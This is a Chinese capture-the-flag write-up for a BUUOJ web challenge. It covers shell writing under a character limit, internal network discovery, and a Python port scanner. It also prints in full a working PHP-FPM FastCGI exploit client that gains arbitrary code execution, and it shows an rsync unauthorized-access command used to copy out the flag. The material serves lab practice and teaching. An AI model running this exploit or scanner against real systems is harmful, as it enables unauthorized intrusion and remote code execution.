刷题记录:ctf473831530_2018_web_virink_web

Posted 20175211lyz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了刷题记录:ctf473831530_2018_web_virink_web相关的知识,希望对你有一定的参考价值。

刷题记录:ctf473831530_2018_web_virink_web

题目复现链接:https://buuoj.cn/challenges
参考链接:BUUOJ刷题-Web-ctf473831530_2018_web_virink_web

知识点

限制字符数量写shell

仅用20个字符想完成后面复杂的操作肯定是不可能的,这里可以使用>filename+ls -tr>1.sh的方法写shell,也可以直接echo "xxx">1.php

内网探测

首先查看/proc/net/fib_trie

Main:
  +-- 0.0.0.0/0 2 0 2
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /32 link BROADCAST
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 173.165.232.0/24 2 0 2
        +-- 173.165.232.0/28 2 0 2
           |-- 173.165.232.0
              /32 link BROADCAST
              /24 link UNICAST
           |-- 173.165.232.9
              /32 host LOCAL
        |-- 173.165.232.255
           /32 link BROADCAST
Local:
  +-- 0.0.0.0/0 2 0 2
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /32 link BROADCAST
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 173.165.232.0/24 2 0 2
        +-- 173.165.232.0/28 2 0 2
           |-- 173.165.232.0
              /32 link BROADCAST
              /24 link UNICAST
           |-- 173.165.232.9
              /32 host LOCAL
        |-- 173.165.232.255
           /32 link BROADCAST

可以看出来本机ip为173.165.232.9,然后可以扫描内网。
扫描内网可以用php脚本,这道题中说明了可以使用python3,这里附上Tiaonmmn师傅写的python3扫描端口脚本

import socket

def foo():
    with open(\'active_port.txt\',\'at\') as f:
        for i in range(65535+1):
            ip = \'172.64.152.4\'
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip,i))
                s.close()
                f.writelines(str(i)+\'\\n\')
            except socket.error:
                pass
        f.close()
    pass

if __name__ == \'__main__\':
    foo()
    print(\'ok\')

发现173.165.232.10开发80,873,9000端口

PHP-FPM未授权访问漏洞

参考Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
简单来说就是如果靶机开放PHP-FPM端口(默认为9000),我们可以伪造FastCGI协议与之进行通信,同时设置auto_prepend_filephp://inputallow_url_include = On
利用条件:

  • PHP-FPM端口开放
  • 找到一个已存在的PHP文件的绝对路径

膜拜一下P神的代码

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode(\'utf-8\', \'strict\')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, \'utf-8\', \'strict\')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \\
               + bchr(fcgi_type) \\
               + bchr((requestid >> 8) & 0xFF) \\
               + bchr(requestid & 0xFF) \\
               + bchr((length >> 8) & 0xFF) \\
               + bchr(length & 0xFF) \\
               + bchr(0) \\
               + bchr(0) \\
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b\'\'
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \\
                      + bchr((nLen >> 16) & 0xFF) \\
                      + bchr((nLen >> 8) & 0xFF) \\
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \\
                      + bchr((vLen >> 16) & 0xFF) \\
                      + bchr((vLen >> 8) & 0xFF) \\
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header[\'version\'] = bord(stream[0])
        header[\'type\'] = bord(stream[1])
        header[\'requestId\'] = (bord(stream[2]) << 8) + bord(stream[3])
        header[\'contentLength\'] = (bord(stream[4]) << 8) + bord(stream[5])
        header[\'paddingLength\'] = bord(stream[6])
        header[\'reserved\'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record[\'content\'] = b\'\'
            
            if \'contentLength\' in record.keys():
                contentLength = int(record[\'contentLength\'])
                record[\'content\'] += buffer.read(contentLength)
            if \'paddingLength\' in record.keys():
                skiped = buffer.read(int(record[\'paddingLength\']))
            return record

    def request(self, nameValuePairs={}, post=\'\'):
        if not self.__connect():
            print(\'connect failure! please check your fasctcgi-server !!\')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \\
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \\
                                 + bchr(self.keepalive) \\
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b\'\'
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b\'\', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b\'\', requestId)

        self.sock.send(request)
        self.requests[requestId][\'state\'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId][\'response\'] = b\'\'
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b\'\'
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response[\'type\'] == FastCGIClient.__FCGI_TYPE_STDOUT \\
                    or response[\'type\'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response[\'type\'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests[\'state\'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response[\'requestId\']):
                    self.requests[requestId][\'response\'] += response[\'content\']
            if response[\'type\'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId][\'response\']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == \'__main__\':
    parser = argparse.ArgumentParser(description=\'Php-fpm code execution vulnerability client.\')
    parser.add_argument(\'host\', help=\'Target host, such as 127.0.0.1\')
    parser.add_argument(\'file\', help=\'A php file absolute path, such as /usr/local/lib/php/System.php\')
    parser.add_argument(\'-c\', \'--code\', help=\'What php code your want to execute\', default=\'<?php phpinfo(); exit; ?>\')
    parser.add_argument(\'-p\', \'--port\', help=\'FastCGI port\', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        \'GATEWAY_INTERFACE\': \'FastCGI/1.0\',
        \'REQUEST_METHOD\': \'POST\',
        \'SCRIPT_FILENAME\': documentRoot + uri.lstrip(\'/\'),
        \'SCRIPT_NAME\': uri,
        \'QUERY_STRING\': \'\',
        \'REQUEST_URI\': uri,
        \'DOCUMENT_ROOT\': documentRoot,
        \'SERVER_SOFTWARE\': \'php/fcgiclient\',
        \'REMOTE_ADDR\': \'127.0.0.1\',
        \'REMOTE_PORT\': \'9985\',
        \'SERVER_ADDR\': \'127.0.0.1\',
        \'SERVER_PORT\': \'80\',
        \'SERVER_NAME\': "localhost",
        \'SERVER_PROTOCOL\': \'HTTP/1.1\',
        \'CONTENT_TYPE\': \'application/text\',
        \'CONTENT_LENGTH\': "%d" % len(content),
        \'PHP_VALUE\': \'auto_prepend_file = php://input\',
        \'PHP_ADMIN_VALUE\': \'allow_url_include = On\'
    }
    response = client.request(params, content)
    print(force_text(response))

至此,我们已经可以在内网机器上执行任意命令

rsync未授权访问漏洞

首先了解rsync是什么,参考第2章 rsync(一):基本命令和用法
简单来说rsync是可以实现增量备份的工具,默认端口为873

rsync可以实现scp的远程拷贝(rsync不支持远程到远程的拷贝,但scp支持)、cp的本地拷贝、rm删除和"ls -l"显示文件列表等功能

这里要关注的是rsync daemon模式

rsync daemon是向外提供服务的,这样只要告诉了别人rsync的url路径,外人就能向ftp服务器一样获取文件列表并进行选择性地下载

所以我们可以利用这一点获取rsync允许访问目录下的文件。

rsync daemon是"rsync --daemon"或再加上其他一些选项启动的,它会读取配置文件,默认是/etc/rsyncd.conf,并默认监听在873端口上,当外界有客户端对此端口发起连接请求,通过这个网络套接字就可以完成连接,以后与该客户端通信的所有数据都通过该网络套接字传输。

查看/etc/rsyncd.conf

# https://github.com/vulhub/vulhub/tree/master/rsync/common

uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/nginx/rsyncd.log

[src]
path = /
comment = src path
read only = yes

# For this
hosts allow = 127.0.0.1

定义了模块src,路径中包含flag,
那么可以使用命令rsync 127.0.0.1::src/7h1s_i5_f14g /tmp/将flag备份出来

以上是关于刷题记录:ctf473831530_2018_web_virink_web的主要内容,如果未能解决你的问题,请参考以下文章

刷题记录:[0CTF 2016]piapiapia(欠)

2018.11.1刷题记录

Writeup | SCTF2018 |CTF 比赛 |By Jas502n

刷题记录:[De1CTF 2019]Giftbox && Comment

2018小训—“百度杯”CTF比赛_九月场_SQLi

2018小训—2017_“百度杯”CTF比赛_十月场_Login